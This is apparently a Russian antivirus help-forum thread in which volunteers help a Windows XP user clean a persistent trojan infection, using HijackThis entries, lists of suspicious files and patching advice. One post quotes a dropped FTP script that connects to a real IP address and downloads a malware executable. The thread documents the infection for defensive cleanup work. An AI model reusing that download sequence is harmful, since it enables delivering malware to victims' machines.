Страница 1 из 2 12 Последняя
Показано с 1 по 20 из 27.

Не поймать вирус, помогите! (заявка № 6257)

  1. #1
    chief
    Guest

    Не поймать вирус, помогите!

    Уважаемые Эксперты!

    Ситуация такая: сидит какая-то пакость у меня на компе, никак не выловить.
    NOD32 последняя версия, со всеми обновлениями, говорит что все чисто.
    Но стоит мне выйти в Инет, как в папке system32 появляются файлы, типа: Isass.exe, winamp.exe, iexplore.exe, firewall.exe и подобные названия (каждый раз новое). После чего начинается "торможение", комп может зависнуть.
    Выполнил процедуры, описанные в Правилах.
    Утилита CureIt ничего не нашла.
    Логи AVZ и hijackthis прилагаю.
    Надеюсь на помощь.
    У меня WindowsXP.
    Вложения Вложения

  2. Реклама
     

  3. #2
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Alex Plutoff
    Регистрация
    05.02.2006
    Адрес
    Украина
    Сообщений
    1,728
    Вес репутации
    932
    -обновите свою Win XP SP1 до SP2
    -пофиксить в HijackThis строки:
    Код:
    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://find-world.com/index_put.php
    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://find-world.com/index_put.php
    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://treko/
    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Bar = http://find-world.com/index_put.php
    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://find-world.com/index_put.php
    R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://find-world.com/index_put.php
    R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant = http://find-world.com/index_put.php
    R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch = http://find-world.com/index_put.php
    R1 - HKCU\Software\Microsoft\Internet Explorer\SearchURL,(Default) = http://find-world.com/index_put.php
    R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride = nusphere-cd
    O2 - BHO: (no name) - {e3a729da-eabc-df50-1842-dfd682644311} - C:\WINDOWS\System32\mswapi.dll (file missing)
    O3 - Toolbar: &SEOBar - {9AE6E6A3-9EE9-43A0-9D54-CE70CDBB8FC6} - "C:\Program Files\Developing.ru\seobar\seobar.dll" (file missing)
    O4 - HKLM\..\Run: [WinDLL (xvd32.dll)] __rundll32.exe C:\WINDOWS\System32\xvd32.dll,start
    O4 - HKLM\..\Run: [WinDLL (vdm32.dll)] __rundll32.exe C:\WINDOWS\System32\vdm32.dll,start
    O4 - HKLM\..\Run: [WinDLL (v4mon.dll)] __rundll32.exe C:\WINDOWS\System32\v4mon.dll,start
    O4 - HKLM\..\Run: [implib] __rundll32.exe C:\WINDOWS\System32\implib.dll,start
    O4 - HKLM\..\Run: [Local Security Authority Service] C:\WINDOWS\System32\Isass.exe
    O4 - HKCU\..\Run: [SUBST] subst z: C:\Internet
    O4 - HKCU\..\Run: [iPlusAgent2] "D:\iriver plus 2\iAgent2.exe"
    O4 - HKCU\..\Run: [iriverPlus2] "D:\iriver plus 2\iPlus2.exe"
    -пришлите согласно Правил файлы:
    Код:
    C:\WINDOWS\Downloaded Program Files\yndbar.dll
    C:\WINDOWS\System32\xvd32.dll
    C:\WINDOWS\System32\vdm32.dll
    C:\WINDOWS\System32\v4mon.dll
    C:\WINDOWS\System32\implib.dll
    C:\WINDOWS\System32\Isass.exe
    C:\Internet
    D:\iriver plus 2\iAgent2.exe
    D:\iriver plus 2\iPlus2.exe
    это далеко не всё... дальше терпения не хватает, продолжу чуть позже....
    С уважением,
    Alex Plutoff
    А. ПЛАТОВ

  4. #3
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для MOCT
    Регистрация
    09.09.2005
    Адрес
    Russia
    Сообщений
    1,718
    Вес репутации
    132
    Цитата Сообщение от chief
    Но стоит мне выйти в Инет, как в папке system32 появляются файлы, типа: Isass.exe, winamp.exe, iexplore.exe, firewall.exe и подобные названия (каждый раз новое).
    если снова создадутся такие файлы - присылайте по правилам форума.

    машина конечно загажена страшно. начнем лечить.

    пофиксите программой HijackThis следующие строки:
    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://find-world.com/index_put.php
    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://find-world.com/index_put.php
    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://treko/
    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Bar = http://find-world.com/index_put.php
    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://find-world.com/index_put.php
    R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://find-world.com/index_put.php
    R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant = http://find-world.com/index_put.php
    R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch = http://find-world.com/index_put.php
    R1 - HKCU\Software\Microsoft\Internet Explorer\SearchURL,(Default) = http://find-world.com/index_put.php
    N3 - Netscape 7: user_pref("browser.startup.homepage", "http://localhost/klub.php"); (C:\Documents and Settings\Саша\Application Data\Mozilla\Profiles\default\z1b695i7.slt\prefs.j s)
    N3 - Netscape 7: user_pref("browser.search.defaultengine", "engine://C%3A%5CProgram%20Files%5CNetscape%5CNetscape%5Csea rchplugins%5CSBWeb_01.src"); (C:\Documents and Settings\Саша\Application Data\Mozilla\Profiles\default\z1b695i7.slt\prefs.j s)
    O2 - BHO: (no name) - {e3a729da-eabc-df50-1842-dfd682644311} - C:\WINDOWS\System32\mswapi.dll (file missing)
    O4 - HKLM\..\Run: [WinDLL (xvd32.dll)] __rundll32.exe C:\WINDOWS\System32\xvd32.dll,start
    O4 - HKLM\..\Run: [WinDLL (vdm32.dll)] __rundll32.exe C:\WINDOWS\System32\vdm32.dll,start
    O4 - HKLM\..\Run: [WinDLL (v4mon.dll)] __rundll32.exe C:\WINDOWS\System32\v4mon.dll,start
    O4 - HKLM\..\Run: [implib] __rundll32.exe C:\WINDOWS\System32\implib.dll,start
    O4 - HKLM\..\Run: [Application Layer Gateway Service] C:\WINDOWS\System32\algs.exe
    O4 - HKLM\..\Run: [Spooler SubSystem App] C:\WINDOWS\System32\spooIsv.exe
    O4 - HKLM\..\Run: [Local Security Authority Service] C:\WINDOWS\System32\Isass.exe
    O4 - HKCU\..\Run: [MSMSGS] ___"C:\Program Files\Messenger\msmsgs.exe" /background
    O20 - Winlogon Notify: awvtt - awvtt.dll (file missing)
    O20 - Winlogon Notify: awvvw - C:\WINDOWS\System32\awvvw.dll (file missing)
    O20 - Winlogon Notify: ddayw - C:\WINDOWS\System32\ddayw.dll (file missing)
    O20 - Winlogon Notify: geeby - geeby.dll (file missing)
    O20 - Winlogon Notify: jkhfd - C:\WINDOWS\System32\jkhfd.dll (file missing)
    O20 - Winlogon Notify: pmkhg - pmkhg.dll (file missing)
    O20 - Winlogon Notify: reset5 - reset5.dll (file missing)
    O20 - Winlogon Notify: sstqq - C:\WINDOWS\System32\sstqq.dll (file missing)
    O20 - Winlogon Notify: ssttt - C:\WINDOWS\System32\ssttt.dll (file missing)
    O21 - SSODL: Shell - {7127BDD8-D454-4E48-815F-CFC1B2FC2E33} - mswshell.dll (file missing)
    O23 - Service: COM+ System Log (COMSysLog) - Unknown owner - C:\WINDOWS\system32\comsyslog.exe (file missing)
    O23 - Service: DcomHelper Service (DcomHelper) - Unknown owner - C:\WINDOWS\dcmhelp.exe (file missing)
    O23 - Service: dllmgr64 - Unknown owner - C:\WINDOWS\dllmgr64.exe (file missing)
    O23 - Service: fwnet64 (fwnet) - Unknown owner - C:\WINDOWS\fwnet64.exe (file missing)
    O23 - Service: Hardware Clock Driver (hwclock) - Unknown owner - C:\WINDOWS\System32\hwclock.exe (file missing)
    O23 - Service: K4NV - Unknown owner - C:\WINDOWS\k4nv.exe (file missing)
    O23 - Service: Microsoft Windows Service - Unknown owner - C:\WINDOWS\mousesync.exe (file missing)
    O23 - Service: Mouelslo - Корпорация Майкрософт - (no file)
    O23 - Service: MsHS64 - Unknown owner - C:\WINDOWS\MsHS64.exe (file missing)
    O23 - Service: MsLS32 - Unknown owner - C:\WINDOWS\MsLS32.exe (file missing)
    O23 - Service: Microsoft Networks DN (msndn) - Unknown owner - C:\WINDOWS\msndn.exe (file missing)
    O23 - Service: Windows Genuine Advantage Registration Service (net32a) - Unknown owner - C:\WINDOWS\System32\net32a.exe (file missing)
    O23 - Service: netconf32 - Unknown owner - C:\WINDOWS\netconf32.exe (file missing)
    O23 - Service: nvidGUIv (nvidGUIv2) - Unknown owner - C:\WINDOWS\nvidGUIv.exe (file missing)
    O23 - Service: olecli32 - Unknown owner - C:\WINDOWS\olecli32.exe (file missing)
    O23 - Service: sqlmanagement - Unknown owner - C:\WINDOWS\sqlmanagement.exe (file missing)
    O23 - Service: STI Simulator - Unknown owner - C:\WINDOWS\System32\PAStiSvc.exe (file missing)
    O23 - Service: sysmgr64 - Unknown owner - C:\WINDOWS\sysmgr64.exe (file missing)
    O23 - Service: TskScheduler - Unknown owner - C:\WINDOWS\taskshed.exe (file missing)
    O23 - Service: Windows User Mode Driver Framework (UMWdf) - Unknown owner - C:\WINDOWS\System32\wdfmgr.exe (file missing)
    O23 - Service: Win32 Kernel Update (Win32Kernel) - Unknown owner - C:\WINDOWS\win32host.exe (file missing)
    O23 - Service: Win32Sr - Unknown owner - C:\WINDOWS\win32ssr.exe (file missing)
    O23 - Service: Win32 Update (Win32Update) - Unknown owner - C:\WINDOWS\oswinupdate.exe (file missing)
    O23 - Service: Windows System Host - Unknown owner - C:\WINDOWS\sychost32.exe (file missing)
    O23 - Service: wins(WINS) (wins) - Unknown owner - C:\WINDOWS\system32\winscntrl.exe (file missing)
    O23 - Service: winupd - Unknown owner - C:\WINDOWS\winupd.exe (file missing)
    O23 - Service: wsaugt32 - Unknown owner - C:\WINDOWS\wsaugt32.exe (file missing)


    пришлите файлы по правилам форума:
    C:\Documents and Settings\Саша\Application Data\Mozilla\Profiles\default\z1b695i7.slt\prefs.j s
    C:\Program Files\Developing.ru\seobar\seobar.dll
    C:\WINDOWS\System32\v4mon.dll
    C:\WINDOWS\System32\vdm32.dll
    C:\WINDOWS\System32\xvd32.dll
    C:\WINDOWS\System32\implib.dll
    C:\WINDOWS\System32\algs.exe
    C:\WINDOWS\System32\spooIsv.exe
    C:\WINDOWS\System32\Isass.exe
    C:\WINDOWS\System32\msnmsgr.exe

    а также сделайте новые логи и приложите к теме

  5. #4
    Global Moderator Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для ALEX(XX)
    Регистрация
    31.03.2005
    Адрес
    Чернигов
    Сообщений
    10,777
    Вес репутации
    3704
    Настройки НОД выставлены на максимум? В модуле AMON, в настройках на закладке "Методы" должны стоять все галки. А также в профилях сканирования по требованию должны быть выставлены все галки.
    Left home for a few days and look what happens...

  6. #5
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для pig
    Регистрация
    17.09.2004
    Адрес
    Апатиты, Мурманская область, Россия
    Сообщений
    10,629
    Вес репутации
    1288
    Пришлите, как написано в Приложении 2, следующие файлы (что найдётся):
    Код:
    C:\Program Files\Developing.ru\seobar\seobar.dll
    C:\Program Files\Common Files\Windows\mc-110-12-0000247.exe
    C:\WINDOWS\System32\Isass.exe
    C:\WINDOWS\System32\algs.exe
    C:\WINDOWS\System32\awvvw.dll
    C:\WINDOWS\System32\ddayw.dll
    C:\WINDOWS\System32\jkhfd.dll
    C:\WINDOWS\System32\spooIsv.exe
    C:\WINDOWS\System32\sstqq.dll
    C:\WINDOWS\System32\ssttt.dll
    C:\WINDOWS\System32\implib.dll
    C:\WINDOWS\System32\v4mon.dll
    C:\WINDOWS\System32\vdm32.dll
    C:\WINDOWS\System32\xvd32.dll
    awvtt.dll
    firewall32.exe
    geeby.dll
    msdtc2k.exe
    msn.exe
    msnse.exe
    mswindtc.exe
    mswshell.dll
    pmkhg.dll
    svcfrorhun.exe
    svcsrv32.exe
    systemconfig32.exe
    C:\WINDOWS\system32\comsyslog.exe
    C:\WINDOWS\dcmhelp.exe
    C:\WINDOWS\dllmgr64.exe
    C:\WINDOWS\fwnet64.exe
    C:\WINDOWS\k4nv.exe
    C:\WINDOWS\mousesync.exe
    C:\WINDOWS\MsHS64.exe
    C:\WINDOWS\MsLS32.exe
    C:\WINDOWS\msndn.exe
    C:\WINDOWS\System32\net32a.exe
     C:\WINDOWS\netconf32.exe
    C:\WINDOWS\nvidGUIv.exe
    C:\WINDOWS\olecli32.exe
    C:\WINDOWS\sqlmanagement.exe
    C:\WINDOWS\System32\PAStiSvc.exe
    C:\WINDOWS\sysmgr64.exe
    C:\WINDOWS\taskshed.exe
    C:\WINDOWS\System32\wdfmgr.exe
    C:\WINDOWS\win32host.exe
    C:\WINDOWS\win32ssr.exe
    C:\WINDOWS\oswinupdate.exe
    C:\WINDOWS\sychost32.exe
    C:\WINDOWS\system32\winscntrl.exe
    C:\WINDOWS\winupd.exe
    C:\WINDOWS\wsaugt32.exe
    А вообще-то скажу крамольную вещь. XP SP1 -> надо обновлять до SP2, иначе так и будете зверей ловить. Reset5, само собой, работать перестанет. Система замусорена до тихого ужаса. Я бы её снёс и поставил начисто систему с SP2.

    P.S. Прошу прощения у тех, кто будет смотреть архив, если вдруг найдётся всё перечисленное.

    P.P.S. Насколько я понимаю, Seobar можно давить сразу. И, видимо, можно сразу же пофиксить в HijackThis следующие строки:
    Код:
    O2 - BHO: (no name) - {e3a729da-eabc-df50-1842-dfd682644311} - C:\WINDOWS\System32\mswapi.dll (file missing)
    O3 - Toolbar: &SEOBar - {9AE6E6A3-9EE9-43A0-9D54-CE70CDBB8FC6} - "C:\Program Files\Developing.ru\seobar\seobar.dll" (file missing)
    O4 - HKLM\..\Run: [Application Layer Gateway Service] C:\WINDOWS\System32\algs.exe
    O4 - HKLM\..\Run: [Spooler SubSystem App] C:\WINDOWS\System32\spooIsv.exe
    O4 - HKLM\..\Run: [Local Security Authority Service] C:\WINDOWS\System32\Isass.exe
    O20 - Winlogon Notify: awvtt - awvtt.dll (file missing)
    O20 - Winlogon Notify: awvvw - C:\WINDOWS\System32\awvvw.dll (file missing)
    O20 - Winlogon Notify: ddayw - C:\WINDOWS\System32\ddayw.dll (file missing)
    O20 - Winlogon Notify: geeby - geeby.dll (file missing)
    O20 - Winlogon Notify: jkhfd - C:\WINDOWS\System32\jkhfd.dll (file missing)
    O20 - Winlogon Notify: pmkhg - pmkhg.dll (file missing)
    O20 - Winlogon Notify: reset5 - reset5.dll (file missing)
    O20 - Winlogon Notify: sstqq - C:\WINDOWS\System32\sstqq.dll (file missing)
    O20 - Winlogon Notify: ssttt - C:\WINDOWS\System32\ssttt.dll (file missing)
    O21 - SSODL: Shell - {7127BDD8-D454-4E48-815F-CFC1B2FC2E33} - mswshell.dll (file missing)
    O23 - Service: dllmgr64 - Unknown owner - C:\WINDOWS\dllmgr64.exe (file missing)
    O23 - Service: fwnet64 (fwnet) - Unknown owner - C:\WINDOWS\fwnet64.exe (file missing)
    O23 - Service: K4NV - Unknown owner - C:\WINDOWS\k4nv.exe (file missing)
    O23 - Service: Microsoft Windows Service - Unknown owner - C:\WINDOWS\mousesync.exe (file missing)
    O23 - Service: MsHS64 - Unknown owner - C:\WINDOWS\MsHS64.exe (file missing)
    O23 - Service: MsLS32 - Unknown owner - C:\WINDOWS\MsLS32.exe (file missing)
    O23 - Service: Microsoft Networks DN (msndn) - Unknown owner - C:\WINDOWS\msndn.exe (file missing)
    O23 - Service: Windows Genuine Advantage Registration Service (net32a) - Unknown owner - C:\WINDOWS\System32\net32a.exe (file missing)
    O23 - Service: netconf32 - Unknown owner - C:\WINDOWS\netconf32.exe (file missing)
    O23 - Service: nvidGUIv (nvidGUIv2) - Unknown owner - C:\WINDOWS\nvidGUIv.exe (file missing)
    O23 - Service: olecli32 - Unknown owner - C:\WINDOWS\olecli32.exe (file missing)
    O23 - Service: sqlmanagement - Unknown owner - C:\WINDOWS\sqlmanagement.exe (file missing)
    O23 - Service: STI Simulator - Unknown owner - C:\WINDOWS\System32\PAStiSvc.exe (file missing)
    O23 - Service: sysmgr64 - Unknown owner - C:\WINDOWS\sysmgr64.exe (file missing)
    O23 - Service: TskScheduler - Unknown owner - C:\WINDOWS\taskshed.exe (file missing)
    O23 - Service: Windows User Mode Driver Framework (UMWdf) - Unknown owner - C:\WINDOWS\System32\wdfmgr.exe (file missing)
    O23 - Service: Win32 Kernel Update (Win32Kernel) - Unknown owner - C:\WINDOWS\win32host.exe (file missing)
    O23 - Service: Win32Sr - Unknown owner - C:\WINDOWS\win32ssr.exe (file missing)
    O23 - Service: Win32 Update (Win32Update) - Unknown owner - C:\WINDOWS\oswinupdate.exe (file missing)
    O23 - Service: Windows System Host - Unknown owner - C:\WINDOWS\sychost32.exe (file missing)
    O23 - Service: wins(WINS) (wins) - Unknown owner - C:\WINDOWS\system32\winscntrl.exe (file missing)
    O23 - Service: winupd - Unknown owner - C:\WINDOWS\winupd.exe (file missing)
    O23 - Service: wsaugt32 - Unknown owner - C:\WINDOWS\wsaugt32.exe (file missing)

  7. #6
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для MOCT
    Регистрация
    09.09.2005
    Адрес
    Russia
    Сообщений
    1,718
    Вес репутации
    132
    класс - три идентичных сообщения ;-)

  8. #7
    chief
    Guest
    Господа!

    Спасибо всем!
    Только SEOBar - это вполне невинная софтина, взятая отсюда:
    http://www.developing.ru/

    yndbar.dll - это ЯндексБар, известная вещь.

    D:\iriver plus 2\iAgent2.exe
    D:\iriver plus 2\iPlus2.exe
    - это софт к mp3-плееру iRiver

    Остальные файлы я, к сожалению, прибил Касперским. НОД снес, Касперского поставил.
    Последний раз редактировалось chief; 19.09.2006 в 09:24.

  9. #8
    chief
    Guest
    Вот, не успел перегрузить компьютер - в system32 возникло чудо под названием .exe. И вскоре исчезло.
    Лог прилагаю.
    Вложения Вложения

  10. #9
    chief
    Guest
    В system32 возник файл под названием "i". Пытался его прикрепить по правилам, но программа ругается, говорит что "неверно указана ссылка на тему", хотя ссылка правильная.
    Но в общем содержание файла небольшое, вот такое:

    open 81.211.92.167 8717
    user 1 1
    get eraseme_28031.exe
    quit

  11. #10
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для pig
    Регистрация
    17.09.2004
    Адрес
    Апатиты, Мурманская область, Россия
    Сообщений
    10,629
    Вес репутации
    1288
    Это управляющий файл для команднострочного FTP-клиента. Ситуация ясна - вас долбают снаружи через то решето, которое из себя представляет сейчас система. Надо ставить заплатки и включать файрвол. Настоятельно рекомендуется обновиться до SP2. IMHO, в нынешнем разгромном состоянии проще будет поставить и настроить систему с нуля.

    P.S. Ссылка на тему: http://virusinfo.info/showthread.php?t=6257

  12. #11
    chief
    Guest
    Спасибо за помощь!
    Файл eraseme_28031.exe сюда закачал, по правилам.

  13. #12
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для AndreyKa
    Регистрация
    08.01.2005
    Адрес
    Россия
    Сообщений
    13,624
    Вес репутации
    1287
    Цитата Сообщение от chief
    Спасибо за помощь!
    Файл eraseme_28031.exe сюда закачал, по правилам.
    Нет, не получилось добавить его в карантин.

  14. #13
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для MOCT
    Регистрация
    09.09.2005
    Адрес
    Russia
    Сообщений
    1,718
    Вес репутации
    132
    Цитата Сообщение от chief
    Спасибо всем!
    Только SEOBar - это вполне невинная софтина, взятая отсюда:
    http://www.developing.ru/
    yndbar.dll - это ЯндексБар, известная вещь.
    D:\iriver plus 2\iAgent2.exe
    D:\iriver plus 2\iPlus2.exe
    - это софт к mp3-плееру iRiver
    эти файлы запрашиваются для того, чтобы добавить их в базы чистых файлов антивирусной программы, чтобы в дальнейшем вопросов об их чистоте не возникало.

    а сделать новые логи AVZ все рано не помешает, поскольку что-то могло остаться.

  15. #14
    chief
    Guest
    Еще раз закачал , на этот раз eraseme_51577.exe

  16. #15
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для MOCT
    Регистрация
    09.09.2005
    Адрес
    Russia
    Сообщений
    1,718
    Вес репутации
    132
    Цитата Сообщение от chief
    Еще раз закачал , на этот раз eraseme_51577.exe
    однозначно троян. проникает в систему из-за того, что есть уязвимость, позволяющая получить доступ к командному интерпретатору.

    атака шла с адреса 81.211.92.167. если есть фаервол - заблокируйте всю подсеть.

  17. #16
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для AndreyKa
    Регистрация
    08.01.2005
    Адрес
    Россия
    Сообщений
    13,624
    Вес репутации
    1287
    Цитата Сообщение от chief
    Еще раз закачал , на этот раз eraseme_51577.exe
    Какаято новая разновидность Win32.HLLW.MyBot. Однозначно только DrWeb его детектирует.
    http://www.virustotal.com/vt/en/resu...b8edf21ecd53df

    Он у вас сам собой под другим именем появился?

    PS. Логи AVZ в любом случае нужны.

  18. #17
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Shu_b
    Регистрация
    02.11.2004
    Сообщений
    3,553
    Вес репутации
    1636
    Цитата Сообщение от MOCT
    однозначно троян.
    http://virusinfo.info/showthread.php?p=79726#post79726

  19. #18
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для MOCT
    Регистрация
    09.09.2005
    Адрес
    Russia
    Сообщений
    1,718
    Вес репутации
    132
    Цитата Сообщение от AndreyKa
    Он у вас сам собой под другим именем появился?
    алгоритм появления этих файлов я могу рассказать

  20. #19
    chief
    Guest
    Цитата Сообщение от AndreyKa
    Какаято новая разновидность Win32.HLLW.MyBot. Однозначно только DrWeb его детектирует.
    http://www.virustotal.com/vt/en/resu...b8edf21ecd53df

    Он у вас сам собой под другим именем появился?
    Да, конечно.
    Логи прилагаю.
    Вложения Вложения

  21. #20
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для MOCT
    Регистрация
    09.09.2005
    Адрес
    Russia
    Сообщений
    1,718
    Вес репутации
    132
    Цитата Сообщение от chief
    Логи прилагаю.
    а что толку их прикладывать, если наши рекомендации Вы не выполнили?! судя по логам - на компьютере опять целый зоопарк!

    пришлите файлы:
    C:\Program Files\Common Files\Windows\mc-110-12-0000247.exe
    firewall32.exe
    msdtc2k.exe
    msn.exe
    msnse.exe
    mswindtc.exe
    svcfrorhun.exe
    svcsrv32.exe
    systemconfig32.exe

    после отправки найденных указанных выше файлов из менеджера автозагрузки программы AVZ (Сервис - Менеджер автозапуска - Реестр - Run*) удалите все строки с упоминанием этих имен файлов.

    отдельным архивом пришлите файлы для базы чистых:
    D:\VIDEO\rpshell.dll
    C:\WINDOWS\Downloaded Program Files\asinst.dll
    C:\WINDOWS\Downloaded Program Files\yndbar.dll
    C:\WINDOWS\System32\implib.dll
    D:\iriver plus 2\iAgent2.exe
    D:\iriver plus 2\iPlus2.exe

  • Уважаемый(ая) chief, наши специалисты оказали Вам всю возможную помощь по вашему обращению.

    В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:


    Надеемся больше никогда не увидеть ваш компьютер зараженным!

    Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.
  • Присоединяйтесь к нам в соцсетях!

    Мы делаем все возможное, чтобы помогать людям в защите и лечении компьютеров.

    Страница 1 из 2 12 Последняя

    Похожие темы

    1. Не могу поймать вирус
      От berz в разделе Помогите!
      Ответов: 12
      Последнее сообщение: 13.04.2010, 11:05
    2. помогите поймать вирус, пожалуйста.
      От mic149 в разделе Помогите!
      Ответов: 2
      Последнее сообщение: 08.08.2009, 23:57
    3. не могу поймать вирус! помогите!
      От miklru в разделе Помогите!
      Ответов: 1
      Последнее сообщение: 31.01.2009, 03:22
    4. Помогите поймать вирус
      От Danila в разделе Помогите!
      Ответов: 6
      Последнее сообщение: 10.09.2008, 00:27
    5. Ответов: 1
      Последнее сообщение: 16.08.2008, 17:58

    Свернуть/Развернуть Ваши права в разделе

    • Вы не можете создавать новые темы
    • Вы не можете отвечать в темах
    • Вы не можете прикреплять вложения
    • Вы не можете редактировать свои сообщения
    •  
    Page generated in 0.01058 seconds with 24 queries